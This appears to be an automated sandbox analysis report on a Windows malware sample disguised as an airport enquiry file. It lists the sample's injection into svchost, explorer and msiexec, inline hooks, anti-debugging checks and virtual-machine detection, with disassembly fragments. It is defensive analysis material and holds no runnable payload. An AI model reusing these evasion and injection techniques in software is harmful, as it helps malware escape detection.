Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CFC304 LoadLibraryA,GetProcAddress,

0_2_00CFC304

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE8719 push FFFFFF8Bh; iretd	0_2_00CE871B
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAE94F push edi; ret	0_2_00CAE951
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAEA68 push esi; ret	0_2_00CAEA6A
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA8B85 push ecx; ret	0_2_00CA8B98
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAEC43 push esi; ret	0_2_00CAEC45
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAED2C push edi; ret	0_2_00CAED2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300225F pushad ; ret	1_2_030027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030027FA pushad ; ret	1_2_030027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030309AD push ecx; mov dword ptr [esp], ecx	1_2_030309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300283D push eax; iretd	1_2_03002858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0300135E push eax; iretd	1_2_03001369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02690006 push cs; retf	1_2_0269000C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02686A5F push esp; ret	1_2_02686A65
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026869BA push edi; ret	1_2_026869C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02687012 push ds; retf	1_2_02687016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268D4B5 push eax; ret	1_2_0268D508
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268D56C push eax; ret	1_2_0268D572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268D50B push eax; ret	1_2_0268D572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268D502 push eax; ret	1_2_0268D508
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EEB1E push esp; retn 0000h	1_2_035EEB1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EEB02 push esp; retn 0000h	1_2_035EEB03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EE9B5 push esp; retn 0000h	1_2_035EEAE7
Source: C:\Windows\explorer.exe	Code function: 2_2_0E695B02 push esp; retn 0000h	2_2_0E695B03
Source: C:\Windows\explorer.exe	Code function: 2_2_0E695B1E push esp; retn 0000h	2_2_0E695B1F
Source: C:\Windows\explorer.exe	Code function: 2_2_0E6959B5 push esp; retn 0000h	2_2_0E695AE7
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC25B02 push esp; retn 0000h	2_2_0FC25B03
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC25B1E push esp; retn 0000h	2_2_0FC25B1F
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC259B5 push esp; retn 0000h	2_2_0FC25AE7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_00979F2D push ecx; ret	3_2_00979F40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FB27FA pushad ; ret	3_2_04FB27F9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FB225F pushad ; ret	3_2_04FB27F9

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	File created: \new al maktoum international airport enquiry ref #2401249.exe
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	File created: \new al maktoum international airport enquiry ref #2401249.exe			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 3_2_00977DD0 StartServiceCtrlDispatcherW,GetLastError,

3_2_00977DD0

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x84 0x4E 0xEB

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00C84A35
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00D055FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00D055FD

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CA33C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00CA33C7

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	API/Special instruction interceptor: Address: 22A3214
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE22210774
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D8A4
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220DA44
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE22210774
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D8A4
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 2679904 second address: 267990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 2679B7E second address: 2679B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0307096E rdtsc

1_2_0307096E

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2839	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 7097	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 867	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 884	Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-98244

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	API coverage: 4.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 2.0 %
Source: C:\Windows\SysWOW64\msiexec.exe	API coverage: 1.7 %

Source: C:\Windows\explorer.exe TID: 7780	Thread sleep count: 2839 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7780	Thread sleep time: -5678000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7780	Thread sleep count: 7097 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7780	Thread sleep time: -14194000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7636	Thread sleep count: 5505 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7636	Thread sleep time: -11010000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7636	Thread sleep count: 4467 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7636	Thread sleep time: -8934000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00CE4696
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00CEC9C7
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEC93C FindFirstFileW,FindClose,	0_2_00CEC93C
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CEF200
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CEF35D
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CEF65E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CE3A2B
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CE3D4E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CEBF27

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00C84AFE

Source: explorer.exe, 00000002.00000000.1693190718.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000000.1692654831.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000002.00000000.1692654831.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000002.00000000.1693190718.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000002.4130664526.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000002.00000003.3105640065.0000000009976000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000002.00000000.1692654831.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000003.3105640065.0000000009976000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000002.00000003.3106633874.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000002.00000002.4130664526.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000002.00000002.4135231321.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000002.00000002.4130664526.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

API call chain: ExitProcess graph end node

graph_0-96914

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0307096E rdtsc

1_2_0307096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03072B60 NtClose,LdrInitializeThunk,

1_2_03072B60

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CF41FD BlockInput,

0_2_00CF41FD

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00C83B4C

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CB5CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00CB5CCC

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CFC304 LoadLibraryA,GetProcAddress,

0_2_00CFC304

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C310 mov ecx, dword ptr fs:[00000030h]	1_2_0302C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03050310 mov ecx, dword ptr fs:[00000030h]	1_2_03050310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03108324 mov eax, dword ptr fs:[00000030h]	1_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03108324 mov ecx, dword ptr fs:[00000030h]	1_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03108324 mov eax, dword ptr fs:[00000030h]	1_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03108324 mov eax, dword ptr fs:[00000030h]	1_2_03108324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov ecx, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FA352 mov eax, dword ptr fs:[00000030h]	1_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D8350 mov ecx, dword ptr fs:[00000030h]	1_2_030D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310634F mov eax, dword ptr fs:[00000030h]	1_2_0310634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D437C mov eax, dword ptr fs:[00000030h]	1_2_030D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]	1_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]	1_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC3CD mov eax, dword ptr fs:[00000030h]	1_2_030EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B63C0 mov eax, dword ptr fs:[00000030h]	1_2_030B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]	1_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]	1_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]	1_2_030DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D43D4 mov eax, dword ptr fs:[00000030h]	1_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D43D4 mov eax, dword ptr fs:[00000030h]	1_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030663FF mov eax, dword ptr fs:[00000030h]	1_2_030663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302823B mov eax, dword ptr fs:[00000030h]	1_2_0302823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B8243 mov eax, dword ptr fs:[00000030h]	1_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B8243 mov ecx, dword ptr fs:[00000030h]	1_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310625D mov eax, dword ptr fs:[00000030h]	1_2_0310625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A250 mov eax, dword ptr fs:[00000030h]	1_2_0302A250
